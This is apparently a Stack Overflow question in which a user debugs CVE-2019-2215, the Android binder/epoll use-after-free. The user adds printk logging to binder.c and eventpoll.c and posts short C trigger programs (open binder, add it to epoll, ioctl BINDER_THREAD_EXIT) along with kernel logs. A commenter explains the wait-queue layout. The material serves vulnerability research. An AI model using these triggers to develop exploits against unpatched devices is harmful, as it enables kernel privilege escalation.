0

Modified binder.c code based on this.

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/24c9b3454fddc6a5b332989cb4f4455c21867a42/drivers/staging/android/binder.c#L3222

I want to print the doubly linked list task_list:

static int binder_free_thread(struct binder_proc *proc,
                              struct binder_thread *thread)
{
        struct binder_transaction *t;
        struct binder_transaction *send_reply = NULL;
        int active_transactions = 0;
        static const size_t memberOffset = offsetof(binder_thread, wait);
        wait_queue_head_t *wqhptr = &thread->wait;
        struct list_head *n1,*p1;

        wait_queue_head_t *my2;


        printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
        printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);

        list_for_each_safe(p1,n1,  &wqhptr->task_list){
        my2 = list_entry(p1, wait_queue_head_t, task_list);
          printk (KERN_INFO "my2 t= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }

It should be wait_queue head of the list, so I would assume it should contain entries.... however it shows nothing?

Questions:

  1. How to populate it?
  2. Why it is empty?

FYI The pointer &wqhptr->task_list points to some memory.

Code triggering:

        #include <fcntl.h>
        #include <sys/epoll.h>
        #include <sys/ioctl.h>
        #include <unistd.h>

        #define BINDER_THREAD_EXIT 0x40046208ul

        int main()
        {
                int fd, epfd;
                struct epoll_event event = { .events = EPOLLIN };

                fd = open("/dev/binder0", O_RDONLY);
                epfd = epoll_create(1000);
                epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
                ioctl(fd, BINDER_THREAD_EXIT, NULL);
        }

This is related to this:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

Here is Kernel Source I work with (searchable via GitHub):

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/

Update 1:

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
        wait_queue_head_t *whead;
        wait_queue_t *strptr;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        rcu_read_lock();
        /* If it is cleared by POLLFREE, it should be rcu-safe */
        whead = rcu_dereference(pwq->whead);


        if (whead)
        {
                strptr=&pwq->wait;


                list_for_each_safe(p1,n1,  &strptr->task_list){
                my2 = list_entry(p1, wait_queue_t, task_list);

                printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
                }

This one print entries.

I though thread->wait will be the same as &pwq->wait ..... it is?

Questions:

  1. yes or no?
  2. how to fill thread->wait from Binder to have entries and so that they correspond with &pwq->wait, since that's whe Use After Free should happen....

Thanks,

Update 2:

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
        wait_queue_head_t *whead;
        wait_queue_t *strptr;
        struct list_head *n1,*p1;
        wait_queue_t *my2;


        rcu_read_lock();
        /* If it is cleared by POLLFREE, it should be rcu-safe */
        whead = rcu_dereference(pwq->whead);
        printk(KERN_INFO "whead before");

        if (whead)
        {
                strptr=&pwq->wait;


                list_for_each_safe(p1,n1,  &pwq->whead){
                my2 = list_entry(p1, wait_queue_t, task_list);

                printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
                }

Should above print it than?

Thanks,

Update 3:

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
        wait_queue_head_t *whead;
        wait_queue_t *strptr;
        struct list_head *n1,*p1;
        wait_queue_t *my2;


        rcu_read_lock();
        /* If it is cleared by POLLFREE, it should be rcu-safe */
        whead = rcu_dereference(pwq->whead);
        printk(KERN_INFO "whead before");

        if (whead)
        {
                strptr=&pwq->wait;


                list_for_each_safe(p1,n1,  &pwq->whead->task_list){
                my2 = list_entry(p1, wait_queue_t, task_list);

                printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
                }

Trying the above ... recompinig...

Update 4:

binder.c

static int binder_free_thread(struct binder_proc *proc,
                              struct binder_thread *thread)
{
        struct binder_transaction *t;
        struct binder_transaction *send_reply = NULL;
        int active_transactions = 0;
        static const size_t memberOffset = offsetof(binder_thread, wait);
        wait_queue_head_t *wqhptr = &thread->wait;
        wait_queue_head_t *pwqhptr = &proc->wait;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
        printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
        printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
        list_for_each_safe(p1,n1,  &pwqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }
        list_for_each_safe(p1,n1,  &wqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }

eventpoll.c

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
        wait_queue_head_t *whead;
        wait_queue_t *strptr;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        rcu_read_lock();
        /* If it is cleared by POLLFREE, it should be rcu-safe */
        whead = rcu_dereference(pwq->whead);
        printk(KERN_INFO "whead before");

        if (whead)
        {
                strptr=&pwq->wait;


                list_for_each_safe(p1,n1,  &pwq->whead->task_list){
                my2 = list_entry(p1, wait_queue_t, task_list);

                printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
                }


                remove_wait_queue(whead, &pwq->wait);
                printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
                printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);

I see the list is printed.....but during Android Bootup not my PoC:

During Android start

[   84.747753] binder_ioctl: 1878:2371 40046208 0
[   84.747765] iovec str size:8
[   84.747771] thread->task_list:e4fb2e30
[   84.747777] proc->task_list:e57d866c
[   84.747784] p list= e57d866c e7fffe7c
[   84.747790] p list= e656de7c e57d866c
[   84.747797] binder_free_thread size:252 worker_off:44
[   84.747804] freed thread:e4fb2e00

I see proc->task_list ... will free() of 0xe4fb2e00 affect it?

My PoC:

[  642.254192] wq queue:e7ce8798
[  642.254201] epoll struct:e7ce8780
[  642.254214] wq queue:e7ce8f98
[  642.254220] epoll struct:e7ce8f80
[  642.254230] wq queue:e7ce8718
[  642.254236] epoll struct:e7ce8700
[  642.254266] binder_ioctl: 7392:7392 40046208 0
[  642.254274] iovec str size:8
[  642.254280] thread->task_list:e5389b30
[  642.254286] proc->task_list:c309d86c
[  642.254292] binder_free_thread size:252 worker_off:44
[  642.254299] freed thread:e5389b00
[  642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[  642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[  642.254799] ep_unregister_pollwait list not empty
[  642.254805] whead before
[  642.254811] my2= c0f50cc4 c0f50cc4
[  642.254817] remove wait queue:e734b994
[  642.254823] remove wait queue task list:e734b9a0
[  642.254830] ep_unregister_pollwait list not empty
[  642.254835] whead before
[  642.254841] my2= c0f50cd0 c0f50cd0
[  642.254847] remove wait queue:e734bb24
[  642.254852] remove wait queue task list:e734bb30
[  642.254863] ep_free
[  642.254873] ep_free
[  642.254881] ep_free

My PoC:

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>


#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul

int main()
{
    int fd,fd1,fd2, epfd,epfd1,epfd2;
    struct epoll_event event = { .events = EPOLLOUT   };

    fd = open("/dev/binder", O_RDONLY);
    fd1 = open("/dev/random", O_RDONLY);
    epfd = epoll_create(1000);
    epfd1 = epoll_create(1000);


    if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
    if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");




    //ioctl(fd, BINDER_VERSION, NULL);

    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    printf("Finished here.");
}

Anybody have idea why?

Update 5:

I narrowed it down ... so I want to replicate behavior of com.cyanogenmod.lockclock

It behaves like I want it to see:

s3ve3g:/ # ps | grep 2140                                                    
u0_a50    2140  257   845744 36336 sys_epoll_ b4ed9114 S com.cyanogenmod.lockclock

Source:

https://github.com/LineageOS/android_packages_apps_LockClock

[   53.617686] binder_ioctl: 2140:2401 40046208 0
[   53.617697] iovec str size:8
[   53.617704] thread->task_list:e5b2c030
[   53.617710] proc->task_list:e609206c
[   53.617716] p list= e609206c e50c3e7c
[   53.617722] p list= e50c5e7c e609206c
[   53.617729] binder_free_thread size:252 worker_off:44
[   53.617736] freed thread:e5b2c000
[   53.617755] ep_unregister_pollwait struct:e5f5c680 epi struct:e5f4c280
[   53.617762] ep_unregister_pollwait list not empty
[   53.617768] whead before
[   53.617773] my2= e8b10308 e8b10308
[   53.617779] remove wait queue:e5fd755c
[   53.617785] remove wait queue task list:e5fd7568
[   53.617803] ep_free

I think Binder is used here:

https://github.com/LineageOS/android_packages_apps_LockClock/blob/5239d22272aa2b7a2bcf2c45482395da3e163289/src/org/lineageos/lockclock/DeviceStatusService.java

Any idea how to replicate this using C (native) code?

dev
  • 1,119
  • 1
  • 11
  • 34
  • 2
    **FYI The pointer &wqhptr->task_list points to some memory.** Well, that is just the address of the `task_list` member. – Ian Abbott Oct 14 '19 at 10:09
  • hmm so there is no list there???? Well weirdly in ep_remove_wait_queue() eppoll_entry *pwq has a wait queue with task_list .... so this is not the same as thread->wait? – dev Oct 14 '19 at 11:08
  • @IanAbbott made Update 1: – dev Oct 14 '19 at 11:12
  • 2
    `pwq->wait` is a `wait_queue_t` but `thread->wait` and `proc->wait` are `wait_queue_head_t`, so they are not the same. However, `pwq->whead` is a pointer to a `wait_queue_head_t`. `binder_poll()` may call `poll_wait()` with a pointer to either `proc->wait` or `thread->wait`, so that pointer will end up in `pwq->whead`, and the `pwq->wait` entry will be queued on that `wait_queue_head_t` (using the `struct list_head task_list` members). – Ian Abbott Oct 14 '19 at 11:55
  • Puuuh ... thanks. So should Update 2: print it than? I tried to follow your explanation – dev Oct 14 '19 at 12:16
  • @IanAbbott Update 2: does not compile :/ how can I print it than? – dev Oct 14 '19 at 12:32
  • @IanAbbott Trying the code in Update 3: recompiling the kernel .... – dev Oct 14 '19 at 14:16
  • Naaah .... still empty – dev Oct 14 '19 at 15:30
  • @IanAbbott and others: OK the printing list works .. but how to trigger a thread/process with a list in task_list??? See Update 4: My PoC is not triggering it. Also how will free() affect the other structures in wait? – dev Oct 14 '19 at 18:33
  • In your "p list=" messages, how do you know if the element is from the proc task_list or the thread task_list? – Ian Abbott Oct 15 '19 at 16:14
  • @IanAbbott It seems they're 2 different structures, passed as pointers in binder_free_thread(). binder_proc structure: https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/24c9b3454fddc6a5b332989cb4f4455c21867a42/drivers/staging/android/binder.c#L319 Anyway, here are my notes on trying to investigate this bug: https://github.com/marcinguy/CVE-2019-2215 I got stuck on it – dev Oct 16 '19 at 12:49
  • 1
    Regarding the "p list=" messages, perhaps you could move the `printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);` call to just before the `for` loop that prints out the thread task_list. Then you can easily tell if the "p list=" messages are for the proc or the thread. (Alternatively, change one of the "p list=" messages slightly to distinguish them.) – Ian Abbott Oct 16 '19 at 13:30
  • 1
    Regarding your investigation, does this help? https://together.jolla.com/question/214657/remove-waitqueue-when-thread-exits-in-kernel-staging-android-binder-cve-2019-2215-high/ – Ian Abbott Oct 16 '19 at 13:55
  • @IanAbbott Thanks. You've been very helpful. Actually I distinguish with "p list=" and "t list=" Somehow on bootup I see proc->task list, than when I create either processes using fork() or threads() with epoll in my PoC I don't see it in the list of task_list. I hope you understand what I mean. Wondering than how to achieve that what I see during the bootup .... – dev Oct 19 '19 at 07:45
  • @IanAbbott See Update 5: Any ideas how to make similar condition using C (native) in Linux Kernel ? – dev Oct 19 '19 at 08:15

0 Answers0